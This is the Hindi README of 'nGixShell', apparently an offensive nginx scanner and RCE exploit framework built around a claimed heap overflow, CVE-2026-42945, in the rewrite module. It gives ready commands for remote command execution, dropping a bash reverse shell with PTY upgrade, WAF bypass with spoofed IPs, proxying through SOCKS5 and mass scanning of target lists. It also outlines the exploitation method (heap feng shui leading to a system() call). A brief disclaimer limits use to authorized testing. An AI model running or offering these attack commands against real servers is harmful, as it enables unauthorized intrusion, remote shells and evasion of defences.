nGixshell

nGixShell एक nginx CVE स्कैनर और RCE एक्सप्लॉइट फ्रेमवर्क है। इसमें CVE-2026-42945 — ngx_http_rewrite_module में एक गंभीर हीप बफर ओवरफ़्लो — का एक कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट और 53 nginx CVEs को कवर करने वाला एक स्कैनर शामिल है, जिसमें स्वचालित HTTP प्रोब, फिंगरप्रिंटिंग, WAF डिटेक्शन/बायपास, वेब सुरक्षा ऑडिटिंग और रिपोर्ट जनरेशन शामिल है।

शून्य बाहरी निर्भरताएँ। शुद्ध Python 3 stdlib।

त्वरित आरंभ

# असुरक्षित लैब शुरू करें
docker compose -f env/docker-compose.yml up -d

# ऑटो मोड — फिंगरप्रिंट + CVE स्कैन + वेब ऑडिट
python3 ngixshell.py 127.0.0.1:19321

# RCE के माध्यम से कमांड निष्पादित करें (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# रिवर्स शेल ड्रॉप करें (IP स्वचालित रूप से पहचाना जाता है)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF का पता लगाएँ और बायपास करें, फिर स्कैन करें
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# सबडोमेन स्कैन
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# फ़ाइल से एकाधिक लक्ष्य
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

किसी फ़्लैग की आवश्यकता नहीं — टूल को किसी लक्ष्य पर इंगित करने पर सब कुछ स्वचालित रूप से चलता है।
TLS स्वचालित रूप से पता चलता है। nginx server_tokens off होने पर भी फिंगरप्रिंट किया जाता है।

उपयोग

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET प्रारूप:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

मोड

WAF डिटेक्शन और बायपास

बायपास तकनीकें (सभी सक्रिय जब --waf-bypass सेट हो):

पता लगाए गए WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

वेब ऑडिट

स्कैन मोड में स्वचालित रूप से चलता है। सभी मॉड्यूल को व्यक्तिगत रूप से छोड़ा जा सकता है।

• हेडर ऑडिट — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, संस्करण-लीक करने वाले हेडर
• पथ खोज — 50+ पथ; सेंटिनल प्रोब कैच-ऑल 403/301 नियमों से झूठी सकारात्मकता को समाप्त करता है
• वर्चुअल होस्ट गणना — डिफ़ॉल्ट-ब्लॉक झूठी सकारात्मकता से बचने के लिए स्थिति और बॉडी दोनों में अंतर की आवश्यकता है
• TLS ऑडिट — TLS 1.0–1.3 समर्थन, प्रमाणपत्र समाप्ति और स्व-हस्ताक्षरित पहचान का परीक्षण करता है
• stub_status — यदि उजागर हो तो /nginx_status से सक्रिय कनेक्शन मीट्रिक पार्स करता है

कनेक्शन

HTTP

दर / समय

आउटपुट

CVE कवरेज

2009–2026 तक की 53 प्रविष्टियाँ। CVSS द्वारा क्रमबद्ध।

बग (CVE-2026-42945)

nginx की रीराइट स्क्रिप्ट इंजन दो-पास मॉडल का उपयोग करता है: बफर आकार की गणना करें, फिर कॉपी करें। is_args फ़्लैग मुख्य इंजन पर सेट होता है जब rewrite प्रतिस्थापन में ? होता है, लेकिन लंबाई-गणना पास ताज़ा शून्य किए गए उप-इंजन पर चलता है:

• लंबाई पास — is_args = 0 देखता है → कच्ची कैप्चर लंबाई लौटाता है
• कॉपी पास — is_args = 1 देखता है → ngx_escape_uri(NGX_ESCAPE_ARGS) को कॉल करता है, प्रत्येक असुरक्षित बाइट को 3 बाइट्स में विस्तारित करता है

कॉपी हमलावर-नियंत्रित URI डेटा के साथ अंडरसाइज़्ड हीप बफर को ओवरफ़्लो करती है। शोषण क्रॉस-अनुरोध हीप फेंग शुई के माध्यम से एक आसन्न ngx_pool_t क्लीनअप पॉइंटर को दूषित करता है, इसे एक नकली ngx_pool_cleanup_s पर रीडायरेक्ट करता है जो पूल विनाश पर system() को कॉल करता है।

प्रभावित संस्करण

विक्रेता सलाह: https://my.f5.com/manage/s/article/K000160932

लैब सेटअप

Ubuntu 24.04 LTS पर परीक्षण किया गया। Docker और Python 3.8+ की आवश्यकता है।

# असुरक्षित लैब शुरू करें (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# पूर्ण स्कैन
python3 ngixshell.py 127.0.0.1:19321

# JSON आउटपुट के साथ RCE
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# रिवर्स शेल — bash पेलोड, PTY स्वचालित अपग्रेड
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF बायपास स्कैन स्पूफ़ किए गए IP के साथ
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# SOCKS5 प्रॉक्सी के माध्यम से
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# दर सीमा के साथ सबडोमेन स्कैन
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# एकाधिक लक्ष्य, JSON आउटपुट, HTML रिपोर्ट
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण, CTF प्रतियोगिताओं और अनुसंधान के लिए।